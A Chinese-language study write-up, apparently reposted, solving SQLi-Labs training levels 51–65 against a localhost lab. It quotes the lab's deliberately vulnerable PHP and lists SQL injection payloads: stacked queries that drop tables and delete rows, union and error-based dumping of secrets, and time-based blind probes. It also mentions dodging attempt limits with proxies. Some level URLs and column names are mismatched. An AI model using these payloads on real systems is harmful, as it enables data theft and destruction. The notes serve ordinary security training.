SQLi-Labs 学习笔记（Less 51-65）
来源：互联网 发布：mysql事务有什么用 编辑：程序博客网 时间：2024/05/16 14:23
SQLi-Labs 学习笔记
SQL 百度百科：结构化查询语言，也叫做SQL，从根本上说是一种处理数据库的编程语言。对于初学者，数据库仅仅是在客户端和服务端进行数据存储。SQL通过结构化查询，关系，面向对象编程等等来管理数据库。编程极客们总是搞出许多这样类型的软件，像MySQL，MS SQL ,Oracle以及Postgresql。现在有一些程序能让我们有能力通过结构化查询来管理大型数据库。
SQLi Labs下载地址：https://github.com/Audi-1/sqli-labs
ps：以下的内容有些是我从别人经验当中摘抄下来的，有些是我自己写的，我把四面八方的经验总结起来给大家，也为了提升自己的技术，如有疑问请在评论区提问，谢谢。
Less-51
本关的Sql语句为：
$sql="SELECT * FROM users ORDER BY '$id'";
因为此处用的是执行多个针对数据库的查询函数：mysqli_multi_query()，因此我们采用 Stacked injection，构建payload：
http://localhost/sqli-labs-master/Less-51/?sort=1';drop table jack--+
Less-52
本关的Sql语句为：
$sql="SELECT * FROM users ORDER BY $id";
与Less-50一样，报错信息不会在前台显示，我们同样采用 stacked injection 方法，payload：
http://localhost/sqli-labs-master/Less-52/?sort=1;insert into users(id,username,password) values('16','jack','jack')--+Less-53
与Less-51类似，只不过没有报错信息，基于盲注，payload：
http://localhost/sqli-labs-master/Less-53/?sort=1';delete from users where id=16--+
Less-54
①先打开网页查看 Welcome Dhakkan
②查看源码：
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><title>Less-54:Challenge-1</title></head><body bgcolor="#000000"><div style ="text-align:right"><form action="" method="post"><input type="submit" name="reset" value="Reset the Challenge!" /></form></div></right><div style=" margin-top:20px;color:#FFF; font-size:23px; text-align:center">Welcome <font color="#FF0000"> Dhakkan </font><br><font size="3" color="#FFFF00"><?php//including the Mysql connect parameters.include '../sql-connections/sql-connect-1.php';include '../sql-connections/functions.php';error_reporting(0);$pag = $_SERVER['PHP_SELF']; //generating page address to piggy back after redirects...$characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'; //characterset for generating random data$times= 10;$table = table_name();$col = column_name(1); // session id column name$col1 = column_name(2); //secret key column name// Submitting the final answerif(!isset($_POST['answer_key'])){// resetting the challenge and repopulating the table .if(isset($_POST['reset'])){setcookie('challenge', ' ', time() - 3600000);echo "<font size=4>You have reset the Challenge</font><br>\n";echo "Redirecting you to main challenge page..........\n";header( "refresh:4;url=../sql-connections/setup-db-challenge.php?id=$pag" );//echo "cookie expired";}else{// Checking the cookie on the page and populate the table with random value.if(isset($_COOKIE['challenge'])){$sessid=$_COOKIE['challenge'];//echo "Cookie value: ".$sessid;}else{$expire = time()+60*60*24*30;$hash = data($table,$col);setcookie("challenge", $hash, $expire);}echo "<br>\n";// take the variablesif(isset($_GET['id'])){$id=$_GET['id'];//logging the connection parameters to a file for analysis.$fp=fopen('result.txt','a');fwrite($fp,'ID:'.$id."\n");fclose($fp);//update the counter in databasenext_tryy();//Display attempts on screen.$tryyy = view_attempts();echo "You have made : ". $tryyy ." of $times attempts";echo "<br><br><br>\n";//Reset the Database if you exceed allowed attempts.if($tryyy >= ($times+1)){setcookie('challenge', ' ', time() - 3600000);echo "<font size=4>You have exceeded maximum allowed attempts, Hence Challenge Has Been Reset </font><br>\n";echo "Redirecting you to challenge page..........\n";header( "refresh:3;url=../sql-connections/setup-db-challenge.php?id=$pag" );echo "<br>\n";}// Querry DB to get the correct output$sql="SELECT * FROM security.users WHERE id='$id' LIMIT 0,1";$result=mysql_query($sql);$row = mysql_fetch_array($result);if($row){echo '<font color= "#00FFFF">';echo 'Your Login name:'. $row['username'];echo "<br>";echo 'Your Password:' .$row['password'];echo "</font>";}else {echo '<font color= "#FFFF00">';//print_r(mysql_error());echo "</font>"; }}else{echo "Please input the ID as parameter with numeric value as done in Lab excercises\n<br><br>\n</font>";echo "<font color='#00FFFF': size=3>The objective of this challenge is to dump the <b>(secret key)</b> from only random table from Database <b><i>('CHALLENGES')</i></b> in Less than $times attempts<br>";echo "For fun, with every reset, the challenge spawns random table name, column name, table data. Keeping it fresh at all times.<br>" ;}}?></font> </div></br></br></br><center><img src="../images/Less-54.jpg" /></center><br><br><br><div style=" color:#00FFFF; font-size:18px; text-align:center"><form name="input" action="" method="post">Submit Secret Key: <input type="text" name="key"><input type="submit" name = "answer_key" value="Submit"></form> </div><?php}else{echo '<div style=" color:#00FFFF; font-size:18px; text-align:center">';$key = addslashes($_POST['key']);$key = mysql_real_escape_string($key);//echo $key;//Query table to verify your result$sql="SELECT 1 FROM $table WHERE $col1= '$key'";//echo "$sql";$result=mysql_query($sql)or die("error in submittion of Key Solution".mysql_error()); $row = mysql_fetch_array($result);if($row){echo '<font color= "#FFFF00">';echo "\n<br><br><br>";echo '<img src="../images/Less-54-1.jpg" />';echo "</font>"; header( "refresh:4;url=../sql-connections/setup-db-challenge.php?id=$pag" );}else {echo '<font color= "#FFFF00">';echo "\n<br><br><br>";echo '<img src="../images/slap1.jpg" />';header( "refresh:3;url=index.php" );//print_r(mysql_error());echo "</font>"; }}?></body></html> 此系列主要是一个进阶的学习，将前面学到的知识进行更深次的运用。这一关我们主要考察的依旧是字符型注入，但是只能尝试十次。所以需要在尝试的时候进行思考。如何能更少的减少次数。这里的表名和密码等是每十次尝试后就强制进行更换。
因为已经知道了数据库名字叫做challenges，所以我们需要知道表名。
http://localhost/sqli-labs-master/Less-54/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='CHALLENGES'--+
已经得到表名为lwu4odm244，接下来就是要找到该表的所有列
http://localhost/sqli-labs-master/Less-54/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='CHALLENGES' and table_name='lwu4odm244'--+
我们得到了所有的列，可以尝试将所有的数据进行查看，此处知道了密码在secret_O8GE列中，所以我们直接查看该列的内容
http://localhost/sqli-labs-master/Less-54/?id=-1' union select 1,group_concat(secret_BVUQ),3 from lwu4odm244--+
将得到的密码进行提交。此处没有进行截图，可自行测试观看效果。
其实实际渗透测试当中，我们可以利用更换ip（可以考虑代理）或者更换浏览器等，要看服务器端检测什么内容进行限制。
Less-55
①先打开网页查看 Welcome Dhakkan
②查看源代码：
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><title>Less-55:Challenge-2</title></head><body bgcolor="#000000"><div style ="text-align:right"><form action="" method="post"><input type="submit" name="reset" value="Reset the Challenge!" /></form></div></right><div style=" margin-top:20px;color:#FFF; font-size:23px; text-align:center">Welcome <font color="#FF0000"> Dhakkan </font><br><font size="3" color="#FFFF00"><?php//including the Mysql connect parameters.include '../sql-connections/sql-connect-1.php';include '../sql-connections/functions.php';error_reporting(0);$pag = $_SERVER['PHP_SELF']; //generating page address to piggy back after redirects...$characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'; //characterset for generating random data$times= 14;$table = table_name();$col = column_name(1); // session id column name$col1 = column_name(2); //secret key column name// Submitting the final answerif(!isset($_POST['answer_key'])){// resetting the challenge and repopulating the table .if(isset($_POST['reset'])){setcookie('challenge', ' ', time() - 3600000);echo "<font size=4>You have reset the Challenge</font><br>\n";echo "Redirecting you to main challenge page..........\n";header( "refresh:4;url=../sql-connections/setup-db-challenge.php?id=$pag" );//echo "cookie expired";}else{// Checking the cookie on the page and populate the table with random value.if(isset($_COOKIE['challenge'])){$sessid=$_COOKIE['challenge'];//echo "Cookie value: ".$sessid;}else{$expire = time()+60*60*24*30;$hash = data($table,$col);setcookie("challenge", $hash, $expire);}echo "<br>\n";// take the variablesif(isset($_GET['id'])){$id=$_GET['id'];//logging the connection parameters to a file for analysis.$fp=fopen('result.txt','a');fwrite($fp,'ID:'.$id."\n");fclose($fp);//update the counter in databasenext_tryy();//Display attempts on screen.$tryyy = view_attempts();echo "You have made : ". $tryyy ." of $times attempts";echo "<br><br><br>\n";//Reset the Database if you exceed allowed attempts.if($tryyy >=($times+1)){setcookie('challenge', ' ', time() - 3600000);echo "<font size=4>You have exceeded maximum allowed attempts, Hence Challenge Has Been Reset </font><br>\n";echo "Redirecting you to challenge page..........\n";echo "<br>\n";header( "refresh:4;url=../sql-connections/setup-db-challenge.php?id=$pag" );}// Querry DB to get the correct output$sql="SELECT * FROM security.users WHERE id=($id) LIMIT 0,1";$result=mysql_query($sql);$row = mysql_fetch_array($result);if($row){echo '<font color= "#00FFFF">';echo 'Your Login name:'. $row['username'];echo "<br>";echo 'Your Password:' .$row['password'];echo "</font>";}else {echo '<font color= "#FFFF00">';//print_r(mysql_error());echo "</font>"; }}else{echo "Please input the ID as parameter with numeric value as done in Lab excercises\n<br><br>\n</font>";echo "<font color='#00FFFF': size=3>The objective of this challenge is to dump the <b>(secret key)</b> from only random table from Database <b><i>('CHALLENGES')</i></b> in Less than $times attempts<br>";echo "For fun, with every reset, the challenge spawns random table name, column name, table data. Keeping it fresh at all times.<br>" ;}}?></font> </div></br></br></br><center><img src="../images/Less-55.jpg" /></center><br><br><br><div style=" color:#00FFFF; font-size:18px; text-align:center"><form name="input" action="" method="post">Submit Secret Key: <input type="text" name="key"><input type="submit" name = "answer_key" value="Submit"></form> </div><?php}else{echo '<div style=" color:#00FFFF; font-size:18px; text-align:center">';$key = addslashes($_POST['key']);$key = mysql_real_escape_string($key);//echo $key;//Query table to verify your result$sql="SELECT 1 FROM $table WHERE $col1= '$key'";//echo "$sql";$result=mysql_query($sql)or die("error in submittion of Key Solution".mysql_error()); $row = mysql_fetch_array($result);if($row){echo '<font color= "#FFFF00">';echo "\n<br><br><br>";echo '<img src="../images/Less-54-1.jpg" />';echo "</font>"; header( "refresh:4;url=../sql-connections/setup-db-challenge.php?id=$pag" );}else {echo '<font color= "#FFFF00">';echo "\n<br><br><br>";echo '<img src="../images/slap1.jpg" />';header( "refresh:3;url=index.php" );//print_r(mysql_error());echo "</font>"; }}?></body></html>一样的套路，payload：
http://localhost/sqli-labs-master/Less-55/?id=-1) union select 1,group_concat(secret_XNSK),3 from zavy2e9297--+
Less-56
本关的Sql语句为：
$sql="SELECT * FROM security.users WHERE id=('$id') LIMIT 0,1";其余并没有很大的差别，payload：
http://localhost/sqli-labs-master/Less-56/?id=-1') union select 1,group_concat(secret_ZJ3S),3 from 2d224f1jrt--+
Less-57
Sql语句为：
$id= '"'.$id.'"';$sql="SELECT * FROM security.users WHERE id=$id LIMIT 0,1";
其余没什么太大差别，payload：
http://localhost/sqli-labs-master/Less-57/?id=-1" union select 1,group_concat(secret_VBKZ),3 from na3kmueucm--+
Less-58
关键代码：
$unames=array("Dumb","Angelina","Dummy","secure","stupid","superman","batman","admin","admin1","admin2","admin3","dhakkan","admin4");$pass = array_reverse($unames);echo 'Your Login name : '. $unames[$row['id']];echo "<br>";echo 'Your Password : ' .$pass[$row['id']];
执行sql语句后，并没有返回数据库当中的数据，所以我们这里不能使用union联合注入，这里使用报错注入。
payload：
http://localhost/sqli-labs-master/Less-58/?id=-1'or extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x7e))--+
获取列：
http://localhost/sqli-labs-master/Less-58/?id=-1'or extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='challenges' and table_name='mygzz18436'),0x7e))--+
获取secret_1WUE的内容：
http://localhost/sqli-labs-master/Less-58/?id=-1'or extractvalue(1,concat(0x7e,(select group_concat(secret_1WUE) from mygzz18436),0x7e))--+
Less-59
区别就是这句Sql：
$sql="SELECT * FROM security.users WHERE id=$id LIMIT 0,1";
payload：
http://localhost/sqli-labs-master/Less-59/?id=-1 or extractvalue(1,concat(0x7e,(select group_concat(secret_0V8F) from piaadlc6kd)))--+
Less-60
区别在于：
$id = '("'.$id.'")';$sql="SELECT * FROM security.users WHERE id=$id LIMIT 0,1";payload：
http://localhost/sqli-labs-master/Less-60/?id=-1") or extractvalue(1,concat(0x7e,(select group_concat(secret_PDXT) from 0akzt15auj)))--+
Less-61
Sql语句为：
$sql="SELECT * FROM security.users WHERE id=(('$id')) LIMIT 0,1";payload：
http://localhost/sqli-labs-master/Less-60/?id=-1')) or extractvalue(1,concat(0x7e,(select group_concat(secret_PDXT) from 0akzt15auj)))--+
Less-62
这次的Sql语句为：
$sql="SELECT * FROM security.users WHERE id=('$id') LIMIT 0,1";不过，错误信息没有显示在前台，也就是说我们要盲注了，payload：
http://localhost/sqli-labs-master/Less-62/?id=1') and if(ascii(substr(database(),1,1))=99,1,sleep(5))--+
Less-63
Less-63 和less62一致，我们只需要看到sql语句上 因此构造payload：
http://localhost/sqli-labs-master/Less-62/?id=1' and if(ascii(substr(database(),1,1))=99,1,sleep(5))--+
Less-64
Sql语句为：
$sql="SELECT * FROM security.users WHERE id=(($id)) LIMIT 0,1";
示例payload：
http://localhost/sqli-labs-master/Less-62/?id=1)) and if(ascii(substr(database(),1,1))=99,1,sleep(5))--+
Less-65
Sql语句为：
$id = '"'.$id.'"';$sql="SELECT * FROM security.users WHERE id=($id) LIMIT 0,1";
payload：
http://localhost/sqli-labs-master/Less-62/?id=1") and if(ascii(substr(database(),1,1))=99,1,sleep(5))--+
阅读全文
0 0
- SQLi-Labs 学习笔记（Less 51-65）
- SQLi-Labs 学习笔记（Less 1-10）
- SQLi-Labs 学习笔记（Less 11-20）
- SQLi-Labs 学习笔记（Less 21-30）
- SQLi-Labs 学习笔记（Less 31-40）
- SQLi-Labs 学习笔记（Less 41-50）
- SQLi-Labs学习笔记
- sqli-labs less1 学习笔记
- sqli-labs ---- Less-2
- sqli-labs ---- Less-7
- [sqli-labs]Less-1(明注)
- sqli-labs ---- Less-5 & Less-6
- sqli-labs学习记录（一）
- sqli-labs学习记录（二）
- sqli-labs学习记录（三）
- sqli-labs学习记录（四）
- sqli-labs学习记录（五）
- 【SQL注入之sqli-labs】Less 1
- 高通Snapdragon Sensor Core（SSC）笔记
- JavaScript——获取年月日星期及注意事项
- 支付宝PC网站支付
- Jenkins入门系列之——02第二章 Jenkins安装与配置
- Linux 进程
- SQLi-Labs 学习笔记（Less 51-65）
- 单片机常用名词概念解析
- 1005. 继续(3n+1)猜想 (25)
- 前端调用ios和Android输入法中的搜索按钮
- org.mockito.exceptions.misusing.UnfinishedStubbingException:
- 斐波那契数列
- Linux底层文件系统实现
- android新组件RecyclerView使用介绍和进阶使用，替用Gallery
- GIT-删除远程服务端的文件
